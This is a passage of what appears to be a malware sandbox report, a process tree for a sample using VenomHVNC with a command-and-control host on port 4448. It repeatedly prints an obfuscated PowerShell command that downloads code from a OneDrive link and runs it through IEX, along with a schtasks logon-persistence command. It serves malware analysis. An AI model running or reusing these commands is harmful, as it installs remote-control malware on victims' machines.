        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        17⤵
        
        PID:4608
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        16⤵
        Executes dropped EXE
        
        PID:2676
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        16⤵
        
        PID:6672
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        17⤵
        
        PID:4644
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        15⤵
        Modifies WinLogon for persistence
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2320
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        16⤵
        
        PID:2204
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        16⤵
        
        PID:3256
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        15⤵
        Executes dropped EXE
        
        PID:1572
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        15⤵
        
        PID:6464
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        16⤵
        
        PID:11016
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        14⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1756
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        15⤵
        Boot or Logon Autostart Execution: Active Setup
        Modifies Internet Explorer settings
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:1368
        
        C:\Windows\system32\ctfmon.exe
        
        ctfmon.exe
        16⤵
        
        PID:3992
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        15⤵
        
        PID:3976
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        14⤵
        Executes dropped EXE
        
        PID:2872
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        14⤵
        
        PID:4520
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        15⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7380
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        13⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1780
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        14⤵
        
        PID:2828
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        14⤵
        
        PID:3456
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        13⤵
        Executes dropped EXE
        
        PID:2060
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        13⤵
        
        PID:3780
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        14⤵
        
        PID:7000
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        12⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1724
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        13⤵
        
        PID:3060
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        13⤵
        
        PID:4988
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        12⤵
        Executes dropped EXE
        
        PID:692
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        12⤵
        
        PID:3676
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        13⤵
        
        PID:2524
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        11⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1744
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        12⤵
        
        PID:3108
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        12⤵
        
        PID:5016
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        12⤵
        
        PID:4276
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        11⤵
        Executes dropped EXE
        
        PID:568
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        11⤵
        
        PID:2880
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        12⤵
        
        PID:3372
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        10⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2240
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        11⤵
        
        PID:960
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        11⤵
        
        PID:3248
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        10⤵
        Executes dropped EXE
        
        PID:448
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "System" /tr '"C:\Users\Admin\AppData\Roaming\System.exe"' & exit
        11⤵
        
        PID:3232
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "System" /tr '"C:\Users\Admin\AppData\Roaming\System.exe"'
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6304
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp9E04.tmp.bat""
        11⤵
        
        PID:3752
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        12⤵
        Delays execution with timeout.exe
        
        PID:13764
        
        C:\Users\Admin\AppData\Roaming\System.exe
        
        "C:\Users\Admin\AppData\Roaming\System.exe"
        12⤵
        
        PID:4556
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        10⤵
        
        PID:3968
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        11⤵
        
        PID:5748
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        9⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2208
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        10⤵
        
        PID:2564
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:4836
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        9⤵
        Executes dropped EXE
        
        PID:2492
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        9⤵
        
        PID:3668
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        10⤵
        
        PID:4780
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1476
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        9⤵
        
        PID:3124
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        9⤵
        
        PID:5008
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        8⤵
        Executes dropped EXE
        
        PID:1148
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        8⤵
        
        PID:2704
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        9⤵
        
        PID:6936
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:680
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        8⤵
        
        PID:2328
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        8⤵
        
        PID:4008
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        7⤵
        Executes dropped EXE
        
        PID:1104
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2892
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        8⤵
        
        PID:11160
      - C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        6⤵
        Modifies WinLogon for persistence
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2436
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        7⤵
        
        PID:1432
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        7⤵
        
        PID:3264
      - C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        6⤵
        Executes dropped EXE
        
        PID:2120
      - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        6⤵
        
        PID:1988
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3244
    - - C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2952
      - C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        6⤵
        
        PID:1776
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        6⤵
        
        PID:2736
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        6⤵
        
        PID:5548
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        6⤵
        
        PID:10888
    - - C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        5⤵
        Executes dropped EXE
        
        PID:2984
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        5⤵
        
        PID:3720
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        6⤵
        
        PID:2536
  - - C:\Users\Admin\AppData\Local\Temp\ClientH.exe
      "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2664
    - - C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        5⤵
        
        PID:872
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        5⤵
        
        PID:3272
  - - C:\Users\Admin\AppData\Local\Temp\venom.exe
      "C:\Users\Admin\AppData\Local\Temp\venom.exe"
      4⤵
      Executes dropped EXE
      PID:2976
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
      4⤵
      PID:2076
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6240
- - C:\Users\Admin\AppData\Local\Temp\ClientH.exe
    "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2568
  - - C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      4⤵
      PID:292
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
      4⤵
      PID:3984
- - C:\Users\Admin\AppData\Local\Temp\venom.exe
    "C:\Users\Admin\AppData\Local\Temp\venom.exe"
    3⤵
    - Executes dropped EXE
    PID:2780
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
    3⤵
    PID:780
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2956
- C:\Users\Admin\AppData\Local\Temp\ClientH.exe
  "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2884
- - C:\Windows\explorer.exe
    "C:\Windows\explorer.exe"
    3⤵
    PID:3084
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
    3⤵
    PID:5000
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
    3⤵
    PID:3128
- C:\Users\Admin\AppData\Local\Temp\venom.exe
  "C:\Users\Admin\AppData\Local\Temp\venom.exe"
  2⤵
  - Executes dropped EXE
  PID:2760
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2588

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{682159d9-c321-47ca-b3f1-30e36b2ec8b9} -Embedding
1⤵
